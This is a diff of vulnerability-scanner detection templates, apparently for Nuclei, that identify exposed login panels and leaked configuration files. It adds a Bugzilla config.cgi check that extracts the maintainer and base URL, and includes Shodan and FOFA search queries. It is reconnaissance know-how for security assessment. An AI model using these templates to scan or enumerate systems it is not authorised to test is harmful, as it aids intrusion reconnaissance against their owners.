http/exposed-panels/procore-panel.yaml

@@ -29,4 +29,4 @@ http:
           - '<title>Procore Log In</title>'
           - 'Log in to your Procore account using your email and password'
         condition: and
-# digest: 4b0a00483046022100e8e2df8ab065e591929ba972db80a6cd8bc7dd7061b56d149f709b38b1ba855c022100e9440ccfc14ba1c8cb4699367b7075fc712b9aa517d1a305fb8e4f3ff682e64b:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201437f082ed95c10a51c6e40133a8fdf516ff005e3d24521d6de0bf51748dbc0902202661b8ba64241d01beb2fd7bfbaefd3a345aef502aa57c3dec3aef5c49d59b50:922c64590222798bb761d5b6d8e72950

http/exposed-panels/pronote-panel.yaml

@@ -33,4 +33,4 @@ http:
         group: 1
         regex:
           - '(?i)Server:\s+PRONOTE\s+([0-9.\s\-]+)'
-# digest: 4b0a0048304602210099099dc72b325f8305bd6c9db5586ff27f53de9396912e830d2ca2019e56740b022100eb9efdfca674e937b89b379e6b986735f45fe24ebfc7b13bd878d9c2c143f2b3:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502210094f279e1e63f4a8adf4aada792580ebd3190fd6871b4299858df9faa69e2c04102206c843e74c7e64f597b45b97b1536af559577ed7baf012adde44245f0f579df3f:922c64590222798bb761d5b6d8e72950

http/exposed-panels/safenet-authentication-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - 'V=([0-9.]+)'
-# digest: 490a00463044022034f7e572604728505ed000220302e4eb28a8f221706f4c75020380ae24e920270220503fa548adc2198fe8a06d3e711e7b1fab6df3498508cc3da1dcf598435bb363:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402205cc7b42015c9d71354879573a58d21cd26db17bf3836a1fd4b97a9e66c20ebed02205f587f6313b0641b2d54b08753806466daad97dffdbaa282149d2be4003d2473:922c64590222798bb761d5b6d8e72950

http/exposed-panels/skeepers-panel.yaml

@@ -35,4 +35,4 @@ http:
         group: 1
         regex:
           - 'Version\s+([0-9\.]+)\s+-'
-# digest: 4a0a004730450220084fc7dff201f8f1ed9c15d137278946f378c52ad0c424eb70c7736ec22d9a33022100f5afd62a44d8794cd71cf8525a2c0a048b1e353f3faebf6b29f901c6515506d4:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022063fc51f44c9a0c9cfd993bbc7b49d542849d4bf9f1ad88200fad9f13dee316420221009589272b9c22781860081a9c6f573db6112dcefe594faf325ea6848720d9a47f:922c64590222798bb761d5b6d8e72950

http/exposed-panels/tixeo-panel.yaml

@@ -35,4 +35,4 @@ http:
         group: 1
         regex:
           - '"applicationVersion"\s*:\s*"([0-9.]+)"'
-# digest: 4a0a0047304502205b555f9a09ef1b5408f3674f2c8def47071d6ffda7c334b0fad3e5000a08f8b8022100e696a42d926a673e5e81f4144fb836eff605ea9b32bad361c074124f66359f35:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100cde23a7993cebc08dd94b768625b984d37f2c65cefdc549a42af6e6afa377a9202203c778ac429e14abf9cadef5466b0883cebc3fce3199c5ae8c594c52746906f85:922c64590222798bb761d5b6d8e72950

http/exposed-panels/unleash-panel.yaml

@@ -37,4 +37,4 @@ http:
       - type: dsl
         dsl:
           - "status_code==200 && (\"-608690655\" == mmh3(base64_py(body)))"
-# digest: 4b0a00483046022100d64c7d494a30acffb747d15c12f690e6a09c9921f229c29bbc9671e5e0c67d6102210082ae6e1092eda9c2fffd869a71d5375a61b8fbec85da90e57c23c45050c77c9c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100964654f812b37f6b4c8ef64ad800a9dd0e1dd7c4ce77c973c34b0c12b0258c76022100f45e6cb88925e65663409771bc0df99a43d97d3414546188a8befc9644133fa9:922c64590222798bb761d5b6d8e72950

http/exposed-panels/veritas-netbackup-panel.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a004730450220576d9a7ece003c74eca0f0e1b59aa15e529c2363171b2a5e3bdb715d371ffb30022100fe2ebb79bce291d13f5c6ab0cfa90abcb4e8657193b77fac2db2a7b003d5ead1:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022060507921a2429b014c3973e2dced12e1028a8cd34c533d001b2370889e5bda18022100ae23966ef97564610a601eb9af9bc8bc577ca8527f6b23e101c5349cfc2ce38f:922c64590222798bb761d5b6d8e72950

http/exposed-panels/vince-panel.yaml

@@ -25,4 +25,4 @@ http:
           - 'status_code == 200'
           - 'contains_any(to_lower(body), "vince - high performance", "vince · open source web", "Welcome to Vince")'
         condition: and
-# digest: 490a0046304402203ed3be4479d0903097e4053bb2e385f20b9ae2178565f2ce79362c0a4b3feb84022053f3adbd7888ddb782da21d63be3b4cb148fd59b99a262b5084fc7f9a2d7cec8:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022040f57e7d1839a198d7f05cb93dcf95e4d4cdaa4cc4894b1c83cf36d920f3baf4022100c5b3f7f68a81368fcf9f0f92dc6b47717e25d9f365fd6e52c01c6849d6e7e4b5:922c64590222798bb761d5b6d8e72950

http/exposed-panels/vmware-aria-panel.yaml

@@ -27,4 +27,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a00463044022057ab025dcecbc2db2d7bf2b1ef2a16524c63ce8a2d9bb1aa14600bfb123a8c7a02204b7aff6d6b7c493cc6d0abaa663ca7b03ecf71f27ca85cf9b5fdfaf83ae0c901:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e8744023c7b2e002562b17389b2054b0b7eccfe5f66a42eb6c1e4b62144b079402200998b8a6a616985ee116cf44d25792d52b107e1033fde3334bcd48f6a5629d71:922c64590222798bb761d5b6d8e72950

http/exposed-panels/wildix-collaboration-panel.yaml

@@ -29,4 +29,4 @@ http:
         part: server
         words:
           - "wildix"
-# digest: 4a0a00473045022063b494db0bf9b43276f8ce6dd0c776a8dbf31b9e07419fa50197393c7e678d28022100c8efa1c3818934912f5b11eaccd3c6be727a7992e4eecb222e0af030004ab2e7:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008cc92fcacee693489414d4dd04abcba21301572dc0257c60345b5aadb43790d802210093094137f0bb5bc4a78f7590942d7edb2d0539e096d741665459a531b35adb0b:922c64590222798bb761d5b6d8e72950

http/exposed-panels/zammad-helpdesk-panel.yaml

@@ -0,0 +1,31 @@
+id: zammad-helpdesk-panel
+
+info:
+  name: Zammad Helpdesk Panel - Detect
+  author: righettod
+  severity: info
+  description: |
+    Zammad is an open source helpdesk and customer support system that provides ticket management, live chat, and knowledge base functionality. This template detects exposed Zammad installations.
+  reference:
+    - https://github.com/zammad/zammad
+    - https://zammad.org/
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: zammad
+    product: zammad
+    shodan-query: http.title:"Zammad Helpdesk"
+    fofa-query: title="Zammad Helpdesk"
+  tags: panel,zammad,detect,helpdesk,ticketing
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains_any(to_lower(body), "<title>zammad helpdesk</title>", "zammad_form_script")'
+        condition: and

http/exposures/apis/swagger-api.yaml

@@ -16,19 +16,6 @@ info:
   tags: exposure,api,swagger
 
 http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-
-    matchers:
-      - type: word
-        words:
-          - "swagger"
-          - "api"
-          - "docs"
-        condition: or
-        internal: true
-
   - method: GET
     path:
       - "{{BaseURL}}{{paths}}"
@@ -124,4 +111,4 @@ http:
         group: 1
         regex:
           - " @version (v[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3})"
-# digest: 4a0a0047304502200babeb26818dbc640fb4d8826272cac033f91a4ae8512fe20beb338115af9813022100d195cd649d13062631e60ef39fb15f6d81b09b4c3fc63669b87b040da09f9380:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009b9f635954985aa3ec4b9adf63036b03804ea8e1574c05f5d52661232b6ab654022100e342acdfdac142cfe29f08db5e3247ee59f4e6b92c34ce9f77559e9cfdb8de30:922c64590222798bb761d5b6d8e72950

http/exposures/backups/sql-server-dump.yaml

@@ -58,4 +58,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100837e8f042311bde717afba1be6c85522826a63b75d2c9e4c48ce4abcb619a24a0220533d10973649d33ffe81d6080d3db6d546aa60572cec9b34d0b2c2e209a04b95:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207faafad64df1890ac23c8ce876c4a2b3723da454a2729a1f64b8690f0b3e62de02201519044036f99127309a314bb54d1d40a90715de596e134012024d56be76704f:922c64590222798bb761d5b6d8e72950

http/exposures/configs/bugzilla-config.yaml

@@ -0,0 +1,46 @@
+id: bugzilla-config
+
+info:
+  name: Bugzilla - Config Exposed
+  author: icarot
+  severity: low
+  description: |
+    Because the config.cgi is publicly exposed, it is possible to enumerate main domain and possible users registered on Bugzilla server.
+  reference:
+    - https://github.com/bugzilla/bugzilla/
+  classification:
+    cpe: cpe:2.3:a:mozilla:bugzilla:-:*:*:*:*:*:*:*
+  metadata:
+    max-request: 1
+    vendor: mozilla
+    product: bugzilla
+    shodan-query: title:"Bugzilla"
+  tags: bugzilla,mozilla,config,exposure
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/config.cgi"
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains_all(body, "base_url", "maintainer")'
+          - 'contains(content_type, "application/x-javascript")'
+        condition: and
+
+    extractors:
+      - type: regex
+        name: base_url
+        group: 1
+        part: body
+        regex:
+          - ".+base_url.+:.(?<base_url>\\'.+\\')"
+
+      - type: regex
+        name: maintainer
+        group: 1
+        part: body
+        regex:
+          - ".+maintainer.+:.(?<maintainer>\\'.+\\')"

http/exposures/configs/composer-config.yaml

@@ -28,9 +28,10 @@ http:
         dsl:
           - "contains_all(body, 'packages', 'getcomposer.org') && status_code == 200"
           - "contains_any(tolower(header), 'application/octet-stream', 'application/json', 'text/plain')"
+        condition: and
 
       - type: dsl
         name: composer.json
         dsl:
-          - "contains(body, 'require') && contains(tolower(header), 'application/json') && status_code == 200"
-# digest: 4a0a0047304502210098a07ef92d7457bcce0ada6dbaf16488a78120f03aaa4dc1c87e2282e0c4b115022041778ba176911680430f1c28921742bd80ac764d8d79300718545fef372ec572:922c64590222798bb761d5b6d8e72950
+          - "contains_all(body, 'require', 'autoload') && contains(tolower(header), 'application/json') && status_code == 200"
+# digest: 4b0a00483046022100bdafbf89f8e0fee0320a11b0d4c53d09934bbdc0a9241ba63bf2d520988911aa022100a387cecebb076e0ab86ccfae799e96663912cbf9ec1e70412584cdf54477dc1c:922c64590222798bb761d5b6d8e72950

http/honeypot/tpot-honeypot-detect.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100b9ab39cca66e0a19893bb503cbb9dbbef79e1b5105a57934d774b4ddaa0c75f502210091acd339ca3a69731e025580e475ef89c55bc0f62508e2a2525f845d043ec2d4:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221009bb9c161ca56bd9a2fae07520e16922d73d8869945461284067ed721a4aabb7b02201f35af3eada844f4345d9b3c2e2018418cdb507871e3daf34187994a95f4e360:922c64590222798bb761d5b6d8e72950

http/miscellaneous/assetlinks-detect.yaml

@@ -26,4 +26,4 @@ http:
           - "contains(body, 'android_app')"
           - "contains(content_type, 'application/json')"
         condition: and
-# digest: 4a0a0047304502200d293da9ee3562b3cbbe358887e84f4427f555813a3fd7feb52a61b43ad08349022100a43009d64a6d5df9f483bb7b9710388802af5a23df77fc523a31a55ad6cd8186:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b54ecdc332973c3160b1acff1b1863fbcac82a64bd96c51ef6ad5b0e4c2fdc1e022100a61074acdaea6f20e56c063530a4833e9c80530e43afa898b98b2c32cc9deae1:922c64590222798bb761d5b6d8e72950

http/miscellaneous/discord-invite-detect.yaml

@@ -30,4 +30,4 @@ http:
         name: discord-bot-invite
         regex:
           - "https?:\\/\\/discord\\.com\\/oauth2\\/authorize\\?client_id=([0-9]+)[^\\s\"']*"
-# digest: 4a0a00473045022100ee754cf5fa6d6f6b5a061d559f0600774e688d1031fb54e46a3d5175c434377502202f89613248d8675b6af7ae3c5cbee215e42fbf2fa8d13d929cbe31bea13722e9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e8e014bde895e7318827fd4e254cfeb0d06399d66364b59c8f3c014089be4ba902205f0ac3ea0a494041e4435cc9235ebba36d068f54327d788555fd2e248c694b44:922c64590222798bb761d5b6d8e72950

http/miscellaneous/dnt-policy-detect.yaml

@@ -28,4 +28,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022000aaada2da27b8e9fa417174edf039fb74e26c4ae4185837afbbe4a8ec91392f022100e7d06183aeb705d952e8b2c305a5078d7b40b10d3efe44a6f1303470b0640dfa:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203fae3beb4efb7e2c1248360a6c30249afd9da6328228b42c49014b1fa144dd49022100b05436ae461f0525eec874ea30c41adc216c266152d23d79a759feb2c66b20ce:922c64590222798bb761d5b6d8e72950

http/miscellaneous/keybase-domain-owwnership-verification.yaml

@@ -36,4 +36,4 @@ http:
         part: body
         regex:
           - "-----BEGIN PGP MESSAGE-----[\\s\\S]+?-----END PGP MESSAGE-----"
-# digest: 4a0a0047304502205ccf6db2abf1543b09913ade39bc65857e46e76285f3ea2b56f11ab42d0ef81e022100d62ab3fdae90af4a918d3615fdc6c8505b3c55612364fe48d9474d6b8caae2ed:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f6a0580358cb30e020354dede500763b8d83d6d45517a0c9b0bf96e4942a929102200dd586364645434ea41a343174c02dc4c35a31e2d620b889fa5a597c2e3fd2f3:922c64590222798bb761d5b6d8e72950